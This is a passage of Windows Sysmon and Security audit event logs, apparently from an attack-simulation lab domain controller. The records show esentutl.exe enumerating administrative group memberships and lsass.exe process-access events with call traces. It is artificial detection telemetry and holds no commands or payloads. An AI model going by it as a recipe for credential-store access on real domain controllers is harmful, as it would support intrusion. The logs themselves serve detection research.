was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5574,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.088\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 908\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.088","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"908","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222150,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5575,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.088\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.088","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222151,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5576,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.088\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.088","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5577,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.088\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.088","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222152,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222153,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5578,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.088\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.088","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5579,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.088\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 